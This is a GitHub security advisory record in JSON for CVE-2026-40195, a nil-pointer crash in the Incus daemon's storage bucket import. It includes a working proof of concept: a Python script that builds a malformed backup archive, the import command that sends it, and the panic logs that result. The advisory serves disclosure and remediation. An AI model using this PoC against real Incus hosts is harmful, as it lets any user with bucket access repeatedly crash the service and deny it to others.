CVE-2026-40195: Github.com/lxc/incus/v6/cmd/incusd Incus Has A Nil-Pointer Dereference Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gc7j-g665-rxr9",
  "modified" : "2026-05-08T19:26:20Z",
  "published" : "2026-05-04T17:40:00Z",
  "aliases" : [ "CVE-2026-40195" ],
  "summary" : "Incus has a Nil-Pointer Dereference Panic via Bucket Metadata",
  "details" : "### Summary\nMissing validation logic in the storage bucket import logic allows an authenticated user with access to Incus' storage bucket feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.\n\n### Details\nThe storage bucket migration subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during bucket import operations. The vulnerability is present in the backup metadata handling logic, where the daemon processes the index.yaml file from an imported archive and then accesses members of the parsed backup configuration without first verifying that the configuration object was initialized.\n\nIn Go, dereferencing a nil pointer triggers a runtime panic. Because CreateBucketFromBackup assumes that srcBackup.Config is populated from the supplied archive, a malicious or malformed index.yaml that omits the config block causes the daemon to dereference a nil pointer and terminate. This results in denial of service on the affected node.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go \n\nAffected Code:\n```\nfunc (b *backend) CreateBucketFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) error {\n    [...]\n    bucketRequest := api.StorageBucketsPost{\n        Name:             srcBackup.Name,\n        StorageBucketPut: srcBackup.Config.Bucket.StorageBucketPut,\n    }\n\n    // Create the bucket to import.\n    err = b.CreateBucket(srcBackup.Project, bucketRequest, op)\n    if err != nil {\n        return err\n    }\n\n    reverter.Add(func() { _ = b.DeleteBucket(srcBackup.Project, bucketRequest.Name, op) })\n\n    // Upload all keys from the backup.\n    for _, bucketKey := range srcBackup.Config.BucketKeys {\n        bucketKeyRequest := api.StorageBucketKeysPost{\n            Name:                bucketKey.Name,\n            StorageBucketKeyPut: bucketKey.StorageBucketKeyPut,\n        }\n\n        _, err := b.CreateBucketKey(srcBackup.Project, srcBackup.Name, bucketKeyRequest, op)\n        if err != nil {\n            return err\n        }\n    }\n\n    // Upload all files from the backup.\n    backupKey, err := b.getFirstAdminStorageBucketPoolKey(srcBackup.Project, srcBackup.Name)\n    if err != nil {\n        return err\n    }\n\n    [...]\n}\n```\n\n### PoC\nThe following PoC demonstrates that a malformed bucket backup archive with an index.yaml file that omits the config block can trigger a nil-pointer dereference and crash the incusd daemon during bucket import.\n\nStep 1: Create the malformed archive\n\nFrom a client or workstation with Python available, generate a minimal bucket backup archive whose index.yaml omits the config section.\n\nCommands:\n```\ncat <<EOF > poc_bucket_nil.py\nimport tarfile\nimport io\n\nindex_content = b\"name: dos-trigger\\n\"\n\nwith tarfile.open(\"nil_panic.tar.gz\", \"w:gz\") as tar:\n    info = tarfile.TarInfo(name=\"backup/index.yaml\")\n    info.size = len(index_content)\n    tar.addfile(info, io.BytesIO(index_content))\n\nprint(\"[+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz\")\nEOF\n\npython3 poc_bucket_nil.py\n```\n\nResult:\n```\n[+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz\n```\n\nStep 2: Trigger the vulnerable bucket import path\n\nFrom an Incus client with permission to import storage buckets, import the crafted archive into any valid storage pool.\n\nCommand:\n```\nincus storage bucket import local-pool nil_panic.tar.gz crash-test\n```\n\nResult:\n```\nError: Operation not found\n```\n\nStep 3: Verify the daemon panic\n\nOn the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer panic in the bucket import path.\n\nCommand:\n```\njournalctl -u incus --since \"3 minutes ago\" | grep -A 15 \"panic\"\n```\n\nResult:\n```\nMar 23 17:19:11 incus-7a incusd[237735]: panic: runtime error: invalid memory address or nil pointer dereference\nMar 23 17:19:11 incus-7a incusd[237735]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x60 pc=0x168a223]\nMar 23 17:19:11 incus-7a incusd[237735]: goroutine 9635 [running]:\nMar 23 17:19:11 incus-7a incusd[237735]: github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateBucketFromBackup(0x254e0c0706c0, {{0x254e0cd77263, 0x9}, {0x254e0c408ce0, 0xa}, {0x0, 0x0}, {0x254e0c964c48, 0xa}, {0x0, ...}, ...}, ...)\nMar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7754 +0x303\nMar 23 17:19:11 incus-7a incusd[237735]: main.createStoragePoolBucketFromBackup.func3(0x191ca65?)\nMar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/cmd/incusd/storage_buckets.go:1467 +0x19c\nMar 23 17:19:11 incus-7a incusd[237735]: github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start.func1(0x254e0c333400)\nMar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26\nMar 23 17:19:11 incus-7a incusd[237735]: created by github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start in goroutine 9576\nMar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Failed with result 'exit-code'.\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-x86) remains running after unit stopped.\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 237808 (dnsmasq) remains running after unit stopped.\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 237825 (dnsmasq) remains running after unit stopped.\n```\n\nIt is recommended to validate that srcBackup.Config is not nil before attempting to access its members. If the required configuration metadata is missing from the archive, the function should return a structured error and abort the operation gracefully rather than allowing a runtime panic to crash the service.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v6/cmd/incusd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-gc7j-g665-rxr9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40195"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-476" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-04T17:40:00Z",
    "nvd_published_at" : "2026-05-06T21:16:00Z"
  }
}